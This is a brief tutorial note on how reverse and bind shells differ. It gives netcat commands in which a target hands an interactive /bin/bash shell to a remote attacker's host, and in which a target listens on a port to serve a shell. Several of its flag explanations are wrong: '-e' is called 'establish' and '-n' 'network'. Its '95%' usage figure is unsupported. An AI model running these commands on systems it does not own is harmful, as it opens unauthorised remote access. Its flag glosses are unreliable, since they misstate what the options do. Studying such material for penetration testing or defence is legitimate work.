Reverse Shells vs Bind Shells
The difference between reverse and bind shells, with a netcat example of each. The reverse shell is the most common, used about 95% of the time.
Reverse Shell: the victim connects back to us.
Bind Shell: on execution the target actively listens for connections on a particular port, so we open the port on the target and connect to it.
Example of a Reverse Shell Connection
The attacker (left terminal) listens, and the victim (right terminal) connects back:
nc -nvlp 4444 # attacker: -nvlp = network, verbose, listen, port
nc 192.168.57.139 4444 -e /bin/bash # victim: -e = establish
Example of a Bind Shell Connection
Here the roles flip. The victim (right terminal) listens with the shell, and the attacker (left terminal) connects in:
nc 192.168.57.139 4444 # attacker connecting in
nc -nvlp 4444 -e /bin/bash # victim: -nvlp = network, verbose, listen, port; -e = establish